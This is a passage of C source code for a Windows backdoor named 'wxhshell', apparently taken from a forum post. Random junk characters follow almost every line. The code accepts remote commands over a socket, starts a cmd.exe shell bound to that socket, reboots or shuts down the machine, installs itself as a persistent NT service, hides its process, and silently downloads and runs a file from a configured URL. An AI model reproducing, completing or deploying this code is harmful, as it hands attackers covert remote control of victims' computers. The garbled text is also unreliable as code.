  else ?A7 AVR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -,+C*|mu  
  } 2t_g\Q  
  else { JygJ4RI%j  
,$ /Ld76U  
    switch(cmd[0]) { VBPtM{ g  
  {*F =&D  
  // 帮助 hZ452W  
  case '?': { @ Do.Wgt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }A@:JR+|  
    break; e ar:`11z  
  } yP# Y:s  
  // 安装 w^ z ftm  
  case 'i': { F"k`PF*b  
    if(Install()) f4\$<g/~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oF>`>  
    else 0Zwx3[bq6K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M0xhcU_  
    break; 4]tg!ks  
    } ; 8DtnnE  
  // 卸载 h[iO'Vq  
  case 'r': { _,60pr3D'  
    if(Uninstall()) u8KQV7E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~mt{j7  
    else Cy uRj[;B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Be@g|'r  
    break; !ITM:%  
    } cL*oO@I&_  
  // 显示 wxhshell 所在路径 i"iy 0 ?  
  case 'p': { "1^tVw|  
    char svExeFile[MAX_PATH]; Hy\q{  
    strcpy(svExeFile,"\n\r"); As>Og  
      strcat(svExeFile,ExeFile); X)hpbHa  
        send(wsh,svExeFile,strlen(svExeFile),0); us?q^>u  
    break; DoFe:+_U3  
    } Z]Ud x  
  // 重启 *,CJ 3< >  
  case 'b': { lMu9Dp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9y&;6V.'  
    if(Boot(REBOOT)) b j@R[!ss  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $8U$.~v  
    else { m-\_L=QzM  
    closesocket(wsh); ^j${#Q  
    ExitThread(0); F*#!hWtb  
    } mMXDzAllB  
    break; _;5zA"~c#@  
    } q?mpvpL G  
  // 关机 eq%cRd]u  
  case 'd': { xS%&l)dT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IoJI|lP  
    if(Boot(SHUTDOWN)) .wq j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0lniu=xmQ-  
    else { 8g)$%Fy+N  
    closesocket(wsh); zF^H*H  
    ExitThread(0); .hxFFk%5  
    } ]!sCWR  
    break; 6?%$e$s  
    } F%$q]J[  
  // 获取shell "@ ^<~bw  
  case 's': { /v<Gt%3X  
    CmdShell(wsh); (n.IK/:  
    closesocket(wsh); iOhX\@&  
    ExitThread(0); Q`'cxx  
    break; 3=oxT6"k  
  } fA<os+*9i  
  // 退出 [Q8Wy/o Q  
  case 'x': { SC%HHu\l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hM!g6\ w  
    CloseIt(wsh); zj2y=A| Y  
    break; !m~r0M7  
    } %pOxt<  
  // 离开 0iM'),v[]  
  case 'q': { ^ op0" #B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HU/4K7e`  
    closesocket(wsh); bXOM=T  
    WSACleanup(); eP:\\; ;  
    exit(1); q1L>nvE  
    break; $Bc3| `K1v  
        } V >eG\  
  } b|k^   
  } #W/Ch"Kv  
5655)u.N8  
  // 提示信息 Ws0)B8y,|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z]{=Jy !F  
} mDp8JNJNE  
  } { g[kn^|  
ndDF(qHr  
  return; fW=<bf  
} -wx~*  
2f%+1uU  
// shell模块句柄 O>vCi&  
int CmdShell(SOCKET sock) Hp ;$fQ  
{ ucz~y! 4L{  
STARTUPINFO si; .Ow8C  
ZeroMemory(&si,sizeof(si)); /CyFe<t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qhTVsZ:{C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7D>_<)%d=  
PROCESS_INFORMATION ProcessInfo; L1G)/Vkw  
char cmdline[]="cmd"; C7W<7DBf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B0Z>di:  
  return 0; guf&V}&  
}  LDU4 D  
}.8yKj^p  
// 自身启动模式 N8kNi4$mp=  
int StartFromService(void) ^^!G{ *F  
{ Q;z!]hjBM  
typedef struct CGK]i. N  
{ :|ah u  
  DWORD ExitStatus; :EYUBtTj  
  DWORD PebBaseAddress; [r Nd7-j <  
  DWORD AffinityMask; aY .cx1"  
  DWORD BasePriority; 9Qu(RbDqC  
  ULONG UniqueProcessId; .)bNi*&  
  ULONG InheritedFromUniqueProcessId; K8 [Um!(  
}   PROCESS_BASIC_INFORMATION; %#&njP  
!'[?cEog  
PROCNTQSIP NtQueryInformationProcess; .I#_~C'\  
umnQ$y 0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OR $i,N|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q=`n3+N_H~  
6yAZvX  
  HANDLE             hProcess; ,G="wI  
  PROCESS_BASIC_INFORMATION pbi; !J@!2S 9  
<z#Fj`2{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); biw . ~  
  if(NULL == hInst ) return 0; o6~JAvw  
PP!-*~F0Jr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y4IQa.F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?GhMGpd Mq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  CDuA2e  
:Ru8Nm  
  if (!NtQueryInformationProcess) return 0; +zLw%WD[l  
#6D>e~>n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LCj3{>{/=  
  if(!hProcess) return 0; d2gYB qag  
2&]LZ:(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mPQT%%MF  
$YY{|8@kjv  
  CloseHandle(hProcess); Ck %if  
[Y, L=p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 52#6uBe  
if(hProcess==NULL) return 0; s]kzXzRC?  
#l: 1R&F  
HMODULE hMod; A! HJ  
char procName[255]; bE2O[B  
unsigned long cbNeeded; p-EU"O  
YtWw)IK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V'Kied+  
\.H9e/vU`  
  CloseHandle(hProcess); ,tyPZR_  
{~Jk(c~I  
if(strstr(procName,"services")) return 1; // 以服务启动 hjFht+j1  
$2i@@#g8  
  return 0; // 注册表启动 L'aB/5_%  
} hp9LV2_5  
`]6<j<' ,  
// 主模块 .{`C>/"}  
int StartWxhshell(LPSTR lpCmdLine) VX8CEO  
{ pO:]3qv  
  SOCKET wsl; r`EjD}2d  
BOOL val=TRUE; 1>L'F8"  
  int port=0; #Y'b?&b  
  struct sockaddr_in door; hqjjd-S0  
)b2O!p  
  if(wscfg.ws_autoins) Install(); tAJ}36 aG  
Q#qfuwz  
port=atoi(lpCmdLine); u'_}4qhCC;  
}Kp<w,  
if(port<=0) port=wscfg.ws_port; GQA\JYw|oY  
0}`-vOLd-  
  WSADATA data; ##xvuLy-6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3Os0<1@H  
em0Y'J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kAPSVTH$v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?{`7W>G  
  door.sin_family = AF_INET; A]i!131{w|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u SQ#Y^V_  
  door.sin_port = htons(port); S`FIb'J  
v;;3 K*c>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CZeZk  
closesocket(wsl); {!qnHv\S  
return 1; ~ |A0*  
} eh]sye KBj  
>8OY6wb  
  if(listen(wsl,2) == INVALID_SOCKET) { F4z#u2~TC  
closesocket(wsl); lA/-fUA  
return 1; GCO: !,1  
} #(Gz?kGAH`  
  Wxhshell(wsl); GxG~J4  
  WSACleanup(); KT<$E!@  
FE,mUpHIR  
return 0; Gvh"3|u ?z  
L{8_6s(:  
} -40X3  
l}VE8-XB  
// 以NT服务方式启动 zN[& iKf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 81s }4  
{ AzXLlQ  
DWORD   status = 0; -mRgB"8  
  DWORD   specificError = 0xfffffff; -XCs?@8EQ  
!f52JQyh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s*yl& El/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LAxN?ok9gD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6Nn+7z<*&z  
  serviceStatus.dwWin32ExitCode     = 0; n^ fUKi*;  
  serviceStatus.dwServiceSpecificExitCode = 0; 0`c{9gY.  
  serviceStatus.dwCheckPoint       = 0; o&%v"#H2  
  serviceStatus.dwWaitHint       = 0; OmBz'sp:  
*4`5&) `  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ([< HFc`  
  if (hServiceStatusHandle==0) return; UiH7  
EC,`t*<  
status = GetLastError(); yFDeY PZP  
  if (status!=NO_ERROR) mWaij]1>  
{ T&]-p:mg^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &U]/SFY  
    serviceStatus.dwCheckPoint       = 0; #Iz)Mu  
    serviceStatus.dwWaitHint       = 0; qNj?Rwc  
    serviceStatus.dwWin32ExitCode     = status; 7mMGH(  
    serviceStatus.dwServiceSpecificExitCode = specificError; UcQ]n0J=Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); = N*Jis  
    return; qD>^aEd@4  
  } >;c);|'}q  
;NRh0)%|o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <L qJg  
  serviceStatus.dwCheckPoint       = 0; C&w0HoF  
  serviceStatus.dwWaitHint       = 0; #'s$6gT=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZJBb% d1;  
} [h;I)ug[o(  
CipDeqau2  
// 处理NT服务事件,比如:启动、停止 `K.B`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VM\R-[  
{ 'A:Y&w"r  
switch(fdwControl) T@yQOD7  
{ 2\1+M)  
case SERVICE_CONTROL_STOP: {HEWU<5  
  serviceStatus.dwWin32ExitCode = 0; `~u=[}w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^w1+b;)  
  serviceStatus.dwCheckPoint   = 0; ~-7/9$ay5  
  serviceStatus.dwWaitHint     = 0; ,jg #^47I  
  { Ie^Ed`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bOr11?  
  } a`w=0]1&*  
  return; >E J{ *  
case SERVICE_CONTROL_PAUSE: KUZi3\p9W>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0@ "'SKq  
  break; 'xqyG XI  
case SERVICE_CONTROL_CONTINUE: ?Cf'IBpN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mgx|5Otg  
  break; ~+4lmslR  
case SERVICE_CONTROL_INTERROGATE: *Sj) 9mp  
  break; u$%C`v>  
}; f~mwDkf?L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c%doNY9Q  
} ^vd$j-kjTP  
LvG$J*  
// 标准应用程序主函数 % E1r{`p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ly2,*\7  
{  : Z<\R0  
PDD2ouv4  
// 获取操作系统版本 `S|F\mI ~  
OsIsNt=GetOsVer(); $GRwk>N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9abUh3  
a[~[l k=7  
  // 从命令行安装 GCN-T1HvA2  
  if(strpbrk(lpCmdLine,"iI")) Install(); Vp]7n!g4l  
+-'F]?DN'  
  // 下载执行文件 R|qrK  
if(wscfg.ws_downexe) { [m:cO6DM,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _1gNU]"  
  WinExec(wscfg.ws_filenam,SW_HIDE); ek]JzD~w$  
} #h=V@Dh  
HU?1>}4L  
if(!OsIsNt) { j13- ?fQ&  
// 如果时win9x,隐藏进程并且设置为注册表启动  mU4(MjP?  
HideProc(); c.]QIIdK  
StartWxhshell(lpCmdLine); 0<`qz |_h  
} G^d3$7  
else /P,1KVQPh  
  if(StartFromService()) 7/<~s]D[%  
  // 以服务方式启动 #(614-r/  
  StartServiceCtrlDispatcher(DispatchTable); ?fy37m(M}  
else /K li C\  
  // 普通方式启动 O oA!N-Q  
  StartWxhshell(lpCmdLine); t!rrYBSCr  
-r cEG!  
return 0; E6~VHQa2?  
}
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只看该作者 1 发表于: 2006-10-10
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